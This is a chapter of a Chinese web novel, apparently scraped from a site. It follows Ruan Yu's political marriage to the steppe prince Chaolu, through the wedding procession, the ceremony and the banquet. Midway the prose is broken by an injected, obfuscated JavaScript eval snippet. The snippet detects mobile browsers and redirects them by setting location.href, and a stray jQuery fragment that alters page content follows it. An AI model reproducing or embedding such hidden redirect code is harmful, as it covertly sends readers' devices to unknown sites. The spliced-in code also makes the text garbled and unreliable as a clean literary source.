眼看着吉时要到了,海拉恨不得踹上他一脚:“还愣着干什么!洗漱换衣!”
大概是血脉压制,朝鲁并未反驳,只是淡淡道:“猎了头野鹿,个头不小。”
海拉很是高兴:“那待会儿送到金帐,给你的大婚添喜!”
朝鲁却蹙了蹙眉头:“不送,留着自己吃。”
海拉噎了一下:“家里的肉够你吃,快去!”
男人再没吭声,转身离开。
走之前,余光又看了看脸色煞白的阮玉。
“如何,如何?”朝鲁刚出去,哈斯早就迫不及待冲上前去,显然,他们在这等待了多时。
只有杨充,还是守规矩地站在原地。
男人撇了下嘴,并未多言,哈斯便已经懂了。
“啊这……不是说长安第一美人……”
“长安的女子都偏瘦小,大概是这个缘故……”
“有道理……”
朝鲁并不理会他们,径直回到了自己帐中。
外面的声音阮玉并没有听到,她满脑子都是小山一样的人,宽大的袖袍下是绞在一起的手指,海拉并不知道她在想什么,只起身道:“你再稍坐片刻,我去准备准备。”
阮玉胡乱点头。
等海拉走后,璇娘和青果才重新上前。
青果脸色也有点白:“四殿下也太吓人了……这这这,我从未见过如此高大强壮的男子……”
璇娘也担忧地看着阮玉,“四殿下的身板……姑娘刚开始,怕是要吃些苦头了……但愿殿下是个会怜香惜玉的……”
怜香惜玉?
再怜再惜,两人的差距也是事实,阮玉只觉得心中凉凉。
又过了一刻钟,帐子再次被掀开,这回没有海拉,只有朝鲁一人。
所有的婢女都规矩站在一旁,阮玉也举起了扇子。
“走了。”
男人淡淡道。
阮玉乖巧点头,站起身来,只可惜她实在穿不习惯草原的礼服,刚站起身来,便觉得头重脚轻,身影一晃。
她勉强站立稳当朝外迈了一步,却又觉得这鞋子有千斤重一样,艰难无比。
男人一直站在一边看着,终于,在第三次阮玉艰难迈开步子的时候,朝鲁伸手抓住了人。
“像你这样走,走到凌晨也走不到金帐去。”他轻轻嗤笑一声,阮玉听到了一丝丝嘲讽。
阮玉被人握住了手腕,只觉得是被烙铁一样圈住了,她微微睁大了眼,下一瞬就听见男人低声开口:“愣着做什么,扶着我,借力,走快些。”
草原没有坐花轿的传统,所以这一路都要他们自己走过去,草原的牧民会一路献上鲜花和祝福。
阮玉回过神,“哦……好……”
两人终于一道朝着帐外走去。
帐外,海拉站在不远处,看见这一幕之后唇角上翘,有朝鲁扶着,阮玉的确感觉轻松了不少,她也不在意男人刚才的语气,只要能让自己舒服一会儿便是极好的。
到了海拉面前,按照礼仪,海拉用鲜花浸泡的水轻轻点在了阮玉的额头,接着用蒙语说了几句祝福的话,阮玉虽然听不懂,但是也能猜到大概的意思。
海拉身后是穿着礼服的两排在仆从和婢女,即将跟着他们一道去往可汗金帐。
这一路,大概要走整整一刻钟,草原上的牧民都在欢呼唱歌,手拉着手转圈,而此时此刻的阮玉后背却已经湿透了,脖子也开始隐隐约约的酸痛。
她强撑着,一步也不敢出错……
此番和亲,中原也来了使者,但现在应该都在金帐内等候,望着周围完全陌生的脸,阮玉越发紧张。
朝鲁侧头,看了一眼身侧的中原女子。
实在是太弱了。
她有十五了没?还是十三?
对此番婚事,朝鲁是全然无所谓的,身为台吉,婚事从来都是政治的需要,但娶一个中原女子,也的确是让他始料未及的。
父汗不喜阿妈,不喜中原女子,却偏偏要他联姻。
他在父汗心中,果然是最无所谓的。
但他还是应了,因为对他而言,娶妻就像是任务,他没有喜欢的女子,娶了谁都是一样。
娶一个所谓的中原郡主,若是能帮部落拿到好处,他接受就是,至于这女子,只能怪她命运不济了。
阮玉完全不知身旁人心中大戏,她只一步步专注自己脚下,终于,漫长的时间过去,两人总算是走到了金帐面前,可一抬头,她几乎要晕厥,这不是草原吗?这么高的台阶是怎么回事?!
朝鲁大概看出来了什么,微微轻蹙了一下眉头,“你拽紧我,我提着你上去。”
阮玉愣了一下,压根还没有回过神这个“提”是什么意思,就看见朝鲁忽然将她的胳膊圈在了他自己的胳膊里,然后微微用力,阮玉的鞋底距离地面便空出了一段距离……
阮玉:“……”
所以是这个“提”。
这对吗?
好在这台阶两边都是低着头的仆从,速度忽然加快,也没有人看见这一幕,等到了最上面,朝鲁便松开了手,小声提醒:“站稳。”
阮玉已经两眼空洞,有些绝望了。
在朝鲁的提醒下,她勉强站稳,接着一抬头就看见了不远处乌压压的人,以及身旁的击鼓人。
鼓乐声响起,大典开始了。
虽然刚才的那段路实在让她有点……但不得不说,也多亏了身边的人,她才有力气继续完成接下来的礼仪,一切都和路上听过无数次的礼仪流程一样,阮玉没有出一丝错误。
最终,两人面对面准备行最后一道大礼。
这一路过来,阮玉其实一直走在他身边,压根没有看见男人的正脸。即便是现在面对面,她依然需要稍微仰一下脖子才能看见。
于是阮玉就发现了,其实面前这个男人,并没有中午时看见的那般吓人。
他无疑是个强壮的成年男人,但眉眼五官却不粗鲁,反而更带着中原男子的清秀,只是,常年在草原上,又带着一股未经雕琢的劲儿,算不上特别的 “俊朗”,却浑身都是阳光晒透的男人气息。
阮玉在看他的时候,朝鲁一双眸也未从她身上挪开,可那双眸却有些深不见底,叫人看不透。
阮玉收回了眼神,行完最后一个大礼,起身的瞬间,就听见一阵阵的蒙语声,他们应是在欢呼和呐喊。
呼日勒站起身来,这位已经不算年轻的大汗身姿也依然伟岸。
“朝鲁,带着你的新妇上前来。”
朝鲁颔首,阮玉与他慢慢走上了台阶。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16111952|179906||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
四面都坐着部落的贵族,朝鲁之前的三个哥哥都已成亲,带着自己的可敦坐在席位上,呼日勒旁边的,是他的夫人,也是察哈部落的哈敦萨仁。
来之前,阮玉备好了自己礼物,此刻双手递上,那是中原的一件坎肩,也是阮玉亲手缝制,表达儿媳的敬意。哈敦微笑收下,也回了一件见面礼,一条蓝色哈达,以及精美的蒙古袍。
阮玉恭敬道谢接过。
大礼终于完成,阮玉松了口气,总算,她可以跟着朝鲁一起入座。
今日他们是新人,是主角,所以两人坐在了大汗的左手,右手是大殿下达慕一家三口。
欢快的乐曲响起,宴席开始。
一盆盆,一道道的佳肴被端上了桌,阮玉端坐着维持端庄,视线内只能看见自己面前的桌上端来一盘盘的烤羊肉、牛肉、马奶酒……
大汗又站了起来,这是举杯的意思。阮玉余光看见朝鲁端起酒杯之后才立马有样学样,她不会喝酒,更没有喝过马奶酒,抱着豁出去的心态阮玉抿了一大口——
意外的,味道好像还不错?
阮玉很渴,又忍不住轻轻多抿了一口。
她刚放下酒盏,忽然察觉到身旁人似乎在看她,但当她转过头看他的时候,男人早就收回视线,漫不经心地晃了晃酒碗。
哈敦笑道:“朝鲁今日看起来不错,新妇也很美,你们天造地设。”
朝鲁坐直,朝哈敦敬酒。
众人都跟着笑。
整个宴席,一开始和宫宴似乎差不多,可到了后半场,画风就变了,所有人直接在帐内开始跳舞,嫌帐内跳不过瘾的,甚至还出去载歌载舞。
男女老少齐齐上场,大口吃肉,大口喝酒。
有不少男子开始拉扯朝鲁,但所好的是,并没有去拉阮玉。
她稍微松了口气。
朝鲁并没有去跳舞,但躲不过被灌酒,篝火越来越大,有源源不断的乳猪和肥羊被烤得滋滋冒油。火光照亮了草原上健硕男子的脸庞,长安的使臣也加入了进去,但阮玉却觉得,她和这样的场景格格不入。
她有些想娘,想弟弟。
在知道自己的身世后,阮玉第一怕失去的,不是侯府小姐的地位,而是小娘和弟弟。
但娘亲真的很好,并没有因为她不是自己亲生的就抛弃她,只是小娘也很伤心,不知自己的亲生孩子在何处……
而侯府后宅乌烟瘴气,她们本来就过得不容易,这也是为什么后来侯府夫人要她替嫁,阮玉只能答应的原因。
她唯一可以欣慰的,便是长安的月亮应该和这里的一样。
阮玉默默抬头看去……
大典要进行到深夜,后半场几乎都是男人的酒场。
大概看出阮玉的无措,哈敦让自己身边的一婢女上前提醒了璇娘几句,璇娘感激不已。
“姑娘,我们可以提前回帐中了。”
海拉此时也走了过来,应是来接她。
阮玉狠狠松了口气,站起身来。
海拉笑着走到她身边道:“可回去歇息了,晚些朝鲁会回去和你圆房~”
阮玉刚刚站稳的身体忽然一晃。
松下去的心又紧紧提了上来。
倒是也不必……如此直白的提醒她了……